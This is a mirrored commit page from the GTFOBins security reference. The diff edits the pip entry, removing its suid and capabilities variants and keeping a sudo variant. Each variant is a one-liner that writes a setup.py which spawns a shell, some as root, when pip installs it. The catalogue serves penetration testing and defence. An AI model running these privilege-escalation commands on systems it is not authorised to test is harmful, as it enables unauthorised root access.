mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Remove capabilities-enabled and sudo-enabled from pip
This commit is contained in:
parent
1321a330a5
commit
be7f7b87a0
@ -66,19 +66,9 @@ functions:
|
|||||||
TF=$(mktemp -d)
|
TF=$(mktemp -d)
|
||||||
echo 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' > $TF/setup.py
|
echo 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' > $TF/setup.py
|
||||||
pip install $TF
|
pip install $TF
|
||||||
suid-enabled:
|
|
||||||
- code: |
|
|
||||||
TF=$(mktemp -d)
|
|
||||||
echo "import os; os.execl('/bin/sh', 'sh', '-p', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
|
|
||||||
./pip install $TF
|
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp -d)
|
TF=$(mktemp -d)
|
||||||
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
|
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
|
||||||
sudo pip install $TF
|
sudo pip install $TF
|
||||||
capabilities-enabled:
|
|
||||||
- code: |
|
|
||||||
TF=$(mktemp -d)
|
|
||||||
echo "import os; os.setuid(0); os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
|
|
||||||
./pip install $TF
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user